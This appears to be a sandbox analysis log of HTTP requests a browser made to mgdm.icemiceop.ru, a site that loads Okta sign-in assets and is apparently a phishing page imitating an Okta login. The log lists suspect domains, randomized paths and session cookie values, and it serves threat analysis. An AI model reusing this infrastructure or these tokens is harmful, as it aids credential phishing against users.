laravel_session=eyJpdiI6IlVWb09RWEx2dXhlRVVRL2tpMlg5NkE9PSIsInZhbHVlIjoiR1RQVGFCbTVOVHpJd00rVnlLazlFZjVubG1pZ24wNFJ4bzI2eEZTWHdYVmYweGhmUWpidW1MZk1HSHFhbWNEbFlRV05YajhadFptaW9hUzRSRGdic1AvYlVza2ZWa1lVbTY0Wmw5RkgzV0VQL2hLQzRXc29ld3hyZ3lHSklPTTMiLCJtYWMiOiIxM2UzM2FjNTI2NGE5MDI0NjZlNzAxYjlhNjlhMjQyYzlmOWQ5NzhiZDlhOTNmZjcwZDBiYjQ2MjRkNDdiNDZmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveOrigin: https://mgdm.icemiceop.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImhLOEFDZ2ZaYXpIaVFnSVI0TGxXdlE9PSIsInZhbHVlIjoiYkw4aHhuT0F0VHpCT1hNTFJrNTMzUzJvVm5KcU56ZitsZXlIbDAxdnBCSFhCM085djNyb09vRWxJMW1YOEhUenhmZHlBeHZQMmRTdXBaRytVeUVOdEVzUXVPaFczTkdMMk1iRGduZ25SNFZCNWQvS1N3OUkzSEQ5cjAwaWZpb2MiLCJtYWMiOiJlYTk2NTMwNzNkMTFmYjA2NDA3ZGM1NzcwODAyYmY2NDA1NGNhODYyNGUwYmFjMmNjMWRlYzg0ZTM3ZDYyNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVWb09RWEx2dXhlRVVRL2tpMlg5NkE9PSIsInZhbHVlIjoiR1RQVGFCbTVOVHpJd00rVnlLazlFZjVubG1pZ24wNFJ4bzI2eEZTWHdYVmYweGhmUWpidW1MZk1HSHFhbWNEbFlRV05YajhadFptaW9hUzRSRGdic1AvYlVza2ZWa1lVbTY0Wmw5RkgzV0VQL2hLQzRXc29ld3hyZ3lHSklPTTMiLCJtYWMiOiIxM2UzM2FjNTI2NGE5MDI0NjZlNzAxYjlhNjlhMjQyYzlmOWQ5NzhiZDlhOTNmZjcwZDBiYjQ2MjRkNDdiNDZmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveOrigin: https://mgdm.icemiceop.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImhLOEFDZ2ZaYXpIaVFnSVI0TGxXdlE9PSIsInZhbHVlIjoiYkw4aHhuT0F0VHpCT1hNTFJrNTMzUzJvVm5KcU56ZitsZXlIbDAxdnBCSFhCM085djNyb09vRWxJMW1YOEhUenhmZHlBeHZQMmRTdXBaRytVeUVOdEVzUXVPaFczTkdMMk1iRGduZ25SNFZCNWQvS1N3OUkzSEQ5cjAwaWZpb2MiLCJtYWMiOiJlYTk2NTMwNzNkMTFmYjA2NDA3ZGM1NzcwODAyYmY2NDA1NGNhODYyNGUwYmFjMmNjMWRlYzg0ZTM3ZDYyNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVWb09RWEx2dXhlRVVRL2tpMlg5NkE9PSIsInZhbHVlIjoiR1RQVGFCbTVOVHpJd00rVnlLazlFZjVubG1pZ24wNFJ4bzI2eEZTWHdYVmYweGhmUWpidW1MZk1HSHFhbWNEbFlRV05YajhadFptaW9hUzRSRGdic1AvYlVza2ZWa1lVbTY0Wmw5RkgzV0VQL2hLQzRXc29ld3hyZ3lHSklPTTMiLCJtYWMiOiIxM2UzM2FjNTI2NGE5MDI0NjZlNzAxYjlhNjlhMjQyYzlmOWQ5NzhiZDlhOTNmZjcwZDBiYjQ2MjRkNDdiNDZmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w3css/4/w3.css HTTP/1.1Host: www.w3schools.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveOrigin: https://mgdm.icemiceop.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImhLOEFDZ2ZaYXpIaVFnSVI0TGxXdlE9PSIsInZhbHVlIjoiYkw4aHhuT0F0VHpCT1hNTFJrNTMzUzJvVm5KcU56ZitsZXlIbDAxdnBCSFhCM085djNyb09vRWxJMW1YOEhUenhmZHlBeHZQMmRTdXBaRytVeUVOdEVzUXVPaFczTkdMMk1iRGduZ25SNFZCNWQvS1N3OUkzSEQ5cjAwaWZpb2MiLCJtYWMiOiJlYTk2NTMwNzNkMTFmYjA2NDA3ZGM1NzcwODAyYmY2NDA1NGNhODYyNGUwYmFjMmNjMWRlYzg0ZTM3ZDYyNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVWb09RWEx2dXhlRVVRL2tpMlg5NkE9PSIsInZhbHVlIjoiR1RQVGFCbTVOVHpJd00rVnlLazlFZjVubG1pZ24wNFJ4bzI2eEZTWHdYVmYweGhmUWpidW1MZk1HSHFhbWNEbFlRV05YajhadFptaW9hUzRSRGdic1AvYlVza2ZWa1lVbTY0Wmw5RkgzV0VQL2hLQzRXc29ld3hyZ3lHSklPTTMiLCJtYWMiOiIxM2UzM2FjNTI2NGE5MDI0NjZlNzAxYjlhNjlhMjQyYzlmOWQ5NzhiZDlhOTNmZjcwZDBiYjQ2MjRkNDdiNDZmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveOrigin: https://mgdm.icemiceop.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImhLOEFDZ2ZaYXpIaVFnSVI0TGxXdlE9PSIsInZhbHVlIjoiYkw4aHhuT0F0VHpCT1hNTFJrNTMzUzJvVm5KcU56ZitsZXlIbDAxdnBCSFhCM085djNyb09vRWxJMW1YOEhUenhmZHlBeHZQMmRTdXBaRytVeUVOdEVzUXVPaFczTkdMMk1iRGduZ25SNFZCNWQvS1N3OUkzSEQ5cjAwaWZpb2MiLCJtYWMiOiJlYTk2NTMwNzNkMTFmYjA2NDA3ZGM1NzcwODAyYmY2NDA1NGNhODYyNGUwYmFjMmNjMWRlYzg0ZTM3ZDYyNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVWb09RWEx2dXhlRVVRL2tpMlg5NkE9PSIsInZhbHVlIjoiR1RQVGFCbTVOVHpJd00rVnlLazlFZjVubG1pZ24wNFJ4bzI2eEZTWHdYVmYweGhmUWpidW1MZk1HSHFhbWNEbFlRV05YajhadFptaW9hUzRSRGdic1AvYlVza2ZWa1lVbTY0Wmw5RkgzV0VQL2hLQzRXc29ld3hyZ3lHSklPTTMiLCJtYWMiOiIxM2UzM2FjNTI2NGE5MDI0NjZlNzAxYjlhNjlhMjQyYzlmOWQ5NzhiZDlhOTNmZjcwZDBiYjQ2MjRkNDdiNDZmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /348FhUrqA8nqafPBtcG7sdZXsaUghmKlAILBKX67110 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImhLOEFDZ2ZaYXpIaVFnSVI0TGxXdlE9PSIsInZhbHVlIjoiYkw4aHhuT0F0VHpCT1hNTFJrNTMzUzJvVm5KcU56ZitsZXlIbDAxdnBCSFhCM085djNyb09vRWxJMW1YOEhUenhmZHlBeHZQMmRTdXBaRytVeUVOdEVzUXVPaFczTkdMMk1iRGduZ25SNFZCNWQvS1N3OUkzSEQ5cjAwaWZpb2MiLCJtYWMiOiJlYTk2NTMwNzNkMTFmYjA2NDA3ZGM1NzcwODAyYmY2NDA1NGNhODYyNGUwYmFjMmNjMWRlYzg0ZTM3ZDYyNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVWb09RWEx2dXhlRVVRL2tpMlg5NkE9PSIsInZhbHVlIjoiR1RQVGFCbTVOVHpJd00rVnlLazlFZjVubG1pZ24wNFJ4bzI2eEZTWHdYVmYweGhmUWpidW1MZk1HSHFhbWNEbFlRV05YajhadFptaW9hUzRSRGdic1AvYlVza2ZWa1lVbTY0Wmw5RkgzV0VQL2hLQzRXc29ld3hyZ3lHSklPTTMiLCJtYWMiOiIxM2UzM2FjNTI2NGE5MDI0NjZlNzAxYjlhNjlhMjQyYzlmOWQ5NzhiZDlhOTNmZjcwZDBiYjQ2MjRkNDdiNDZmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxq6cHzKIYoNgm2Bopw50D84rw9YmbWJ12124 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImhLOEFDZ2ZaYXpIaVFnSVI0TGxXdlE9PSIsInZhbHVlIjoiYkw4aHhuT0F0VHpCT1hNTFJrNTMzUzJvVm5KcU56ZitsZXlIbDAxdnBCSFhCM085djNyb09vRWxJMW1YOEhUenhmZHlBeHZQMmRTdXBaRytVeUVOdEVzUXVPaFczTkdMMk1iRGduZ25SNFZCNWQvS1N3OUkzSEQ5cjAwaWZpb2MiLCJtYWMiOiJlYTk2NTMwNzNkMTFmYjA2NDA3ZGM1NzcwODAyYmY2NDA1NGNhODYyNGUwYmFjMmNjMWRlYzg0ZTM3ZDYyNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVWb09RWEx2dXhlRVVRL2tpMlg5NkE9PSIsInZhbHVlIjoiR1RQVGFCbTVOVHpJd00rVnlLazlFZjVubG1pZ24wNFJ4bzI2eEZTWHdYVmYweGhmUWpidW1MZk1HSHFhbWNEbFlRV05YajhadFptaW9hUzRSRGdic1AvYlVza2ZWa1lVbTY0Wmw5RkgzV0VQL2hLQzRXc29ld3hyZ3lHSklPTTMiLCJtYWMiOiIxM2UzM2FjNTI2NGE5MDI0NjZlNzAxYjlhNjlhMjQyYzlmOWQ5NzhiZDlhOTNmZjcwZDBiYjQ2MjRkNDdiNDZmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250327%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250327T133428Z&X-Amz-Expires=300&X-Amz-Signature=a7baf40a389b1b2fcb948d10a4d5a0f1d812e9743df04779e966264baddb3edf&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /op8RaX2g4vcLuiH9DxNBazjBGxeN3ULgBmnKf30Bt3h7x2dFy1A445136 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImhLOEFDZ2ZaYXpIaVFnSVI0TGxXdlE9PSIsInZhbHVlIjoiYkw4aHhuT0F0VHpCT1hNTFJrNTMzUzJvVm5KcU56ZitsZXlIbDAxdnBCSFhCM085djNyb09vRWxJMW1YOEhUenhmZHlBeHZQMmRTdXBaRytVeUVOdEVzUXVPaFczTkdMMk1iRGduZ25SNFZCNWQvS1N3OUkzSEQ5cjAwaWZpb2MiLCJtYWMiOiJlYTk2NTMwNzNkMTFmYjA2NDA3ZGM1NzcwODAyYmY2NDA1NGNhODYyNGUwYmFjMmNjMWRlYzg0ZTM3ZDYyNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVWb09RWEx2dXhlRVVRL2tpMlg5NkE9PSIsInZhbHVlIjoiR1RQVGFCbTVOVHpJd00rVnlLazlFZjVubG1pZ24wNFJ4bzI2eEZTWHdYVmYweGhmUWpidW1MZk1HSHFhbWNEbFlRV05YajhadFptaW9hUzRSRGdic1AvYlVza2ZWa1lVbTY0Wmw5RkgzV0VQL2hLQzRXc29ld3hyZ3lHSklPTTMiLCJtYWMiOiIxM2UzM2FjNTI2NGE5MDI0NjZlNzAxYjlhNjlhMjQyYzlmOWQ5NzhiZDlhOTNmZjcwZDBiYjQ2MjRkNDdiNDZmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klKDnQ2cBVKpBOD3UT55CmTRD2kl7GME9yjtxLdHQoGGvGFwx220 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImhLOEFDZ2ZaYXpIaVFnSVI0TGxXdlE9PSIsInZhbHVlIjoiYkw4aHhuT0F0VHpCT1hNTFJrNTMzUzJvVm5KcU56ZitsZXlIbDAxdnBCSFhCM085djNyb09vRWxJMW1YOEhUenhmZHlBeHZQMmRTdXBaRytVeUVOdEVzUXVPaFczTkdMMk1iRGduZ25SNFZCNWQvS1N3OUkzSEQ5cjAwaWZpb2MiLCJtYWMiOiJlYTk2NTMwNzNkMTFmYjA2NDA3ZGM1NzcwODAyYmY2NDA1NGNhODYyNGUwYmFjMmNjMWRlYzg0ZTM3ZDYyNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVWb09RWEx2dXhlRVVRL2tpMlg5NkE9PSIsInZhbHVlIjoiR1RQVGFCbTVOVHpJd00rVnlLazlFZjVubG1pZ24wNFJ4bzI2eEZTWHdYVmYweGhmUWpidW1MZk1HSHFhbWNEbFlRV05YajhadFptaW9hUzRSRGdic1AvYlVza2ZWa1lVbTY0Wmw5RkgzV0VQL2hLQzRXc29ld3hyZ3lHSklPTTMiLCJtYWMiOiIxM2UzM2FjNTI2NGE5MDI0NjZlNzAxYjlhNjlhMjQyYzlmOWQ5NzhiZDlhOTNmZjcwZDBiYjQ2MjRkNDdiNDZmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnbEcC7ECt38mpevtEuvdHTkAyME6DicWgTYuvlpOA78150 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImhLOEFDZ2ZaYXpIaVFnSVI0TGxXdlE9PSIsInZhbHVlIjoiYkw4aHhuT0F0VHpCT1hNTFJrNTMzUzJvVm5KcU56ZitsZXlIbDAxdnBCSFhCM085djNyb09vRWxJMW1YOEhUenhmZHlBeHZQMmRTdXBaRytVeUVOdEVzUXVPaFczTkdMMk1iRGduZ25SNFZCNWQvS1N3OUkzSEQ5cjAwaWZpb2MiLCJtYWMiOiJlYTk2NTMwNzNkMTFmYjA2NDA3ZGM1NzcwODAyYmY2NDA1NGNhODYyNGUwYmFjMmNjMWRlYzg0ZTM3ZDYyNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVWb09RWEx2dXhlRVVRL2tpMlg5NkE9PSIsInZhbHVlIjoiR1RQVGFCbTVOVHpJd00rVnlLazlFZjVubG1pZ24wNFJ4bzI2eEZTWHdYVmYweGhmUWpidW1MZk1HSHFhbWNEbFlRV05YajhadFptaW9hUzRSRGdic1AvYlVza2ZWa1lVbTY0Wmw5RkgzV0VQL2hLQzRXc29ld3hyZ3lHSklPTTMiLCJtYWMiOiIxM2UzM2FjNTI2NGE5MDI0NjZlNzAxYjlhNjlhMjQyYzlmOWQ5NzhiZDlhOTNmZjcwZDBiYjQ2MjRkNDdiNDZmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.1.1/webfonts/fa-solid-900.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: https://mgdm.icemiceop.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ij3u6hDRiM4IlvLE2P1793sUu3Xf2UgIdkLkAKyz3jW2TrwXXvSmu78163 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImhLOEFDZ2ZaYXpIaVFnSVI0TGxXdlE9PSIsInZhbHVlIjoiYkw4aHhuT0F0VHpCT1hNTFJrNTMzUzJvVm5KcU56ZitsZXlIbDAxdnBCSFhCM085djNyb09vRWxJMW1YOEhUenhmZHlBeHZQMmRTdXBaRytVeUVOdEVzUXVPaFczTkdMMk1iRGduZ25SNFZCNWQvS1N3OUkzSEQ5cjAwaWZpb2MiLCJtYWMiOiJlYTk2NTMwNzNkMTFmYjA2NDA3ZGM1NzcwODAyYmY2NDA1NGNhODYyNGUwYmFjMmNjMWRlYzg0ZTM3ZDYyNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVWb09RWEx2dXhlRVVRL2tpMlg5NkE9PSIsInZhbHVlIjoiR1RQVGFCbTVOVHpJd00rVnlLazlFZjVubG1pZ24wNFJ4bzI2eEZTWHdYVmYweGhmUWpidW1MZk1HSHFhbWNEbFlRV05YajhadFptaW9hUzRSRGdic1AvYlVza2ZWa1lVbTY0Wmw5RkgzV0VQL2hLQzRXc29ld3hyZ3lHSklPTTMiLCJtYWMiOiIxM2UzM2FjNTI2NGE5MDI0NjZlNzAxYjlhNjlhMjQyYzlmOWQ5NzhiZDlhOTNmZjcwZDBiYjQ2MjRkNDdiNDZmIiwidGFnIjoiIn0%3D
